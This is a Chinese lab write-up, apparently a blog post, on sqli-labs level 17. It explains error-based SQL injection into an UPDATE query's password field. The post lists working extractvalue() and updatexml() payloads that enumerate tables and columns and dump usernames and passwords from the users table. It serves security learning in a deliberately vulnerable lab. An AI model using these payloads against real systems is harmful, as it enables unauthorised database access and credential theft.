sqli-lab less-17

less-17的提示可注入的sql语句是update,注入类型为字符型,传参方式为post。
源码中对uname进行了特殊符号过滤并且限制了长度,无法通过select语句处的uname来进行注入,只能通过update处的passwd来进行注入。

报错注入

extractvalue()

语法:extractvalue(目标xml文档,xml路径)
第一个参数可为任意值,因为不需要真实的xml文档。重点在第二个参数,第二个参数为非xpath格式时会产生报错,输出参数内容。extractvalue()能查询字符串的最大长度为32。
利用第二个参数我们可以用sql语句进行查询,通过报错将查询结果输出。

//查询当前使用的数据库中的所有表名,注释可使用#也可使用-- (空格会转成+),可用bp抓包传参
1’or extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))#

在这里插入图片描述

//查询users表的列名
1’or extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=‘users’)))#

在这里插入图片描述

//查询users表中的用户名和密码用:(0x3a)分隔,as可省略
1’or extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from (select username,password from users) as a)))#
//字数限制数据只显示了一部分,用where对用户名限制,查找未显示出的数据
1’or extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from (select username,password from users where username not in(‘Dumb’,‘Angelina’) ) as a)))#

在这里插入图片描述

注意,不能直接从要修改的表users进行查询,会报错You can’t specify target table ‘users’ for update in FROM clause。即在一条sql语句中不能在update这个表之后再select出这个表中的值。
构造的注入语句外层select查询的是里层select查询出的users的用户名和密码生成的派生表a,查询到的多个数据组合拼接成一个字符串与字符~(0x7e)再进行拼接形成extractvalue的第二个参数。

updatexml()

语法:updatexml(目标xml文档,xml路径,更新的内容)
与extractvalue()类似,第一个和第三个参数内容任意,在第二个参数处查询数据。updatexml()能查询字符串的最大长度为32。

//查询当前使用的数据库中的所有表名
1’or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)#

//查询users表的列名
1’or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=‘users’)),1)#

//查询users表中的数据
1’or updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password) from (select username,password from users) as a)),1)#

  • 3
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值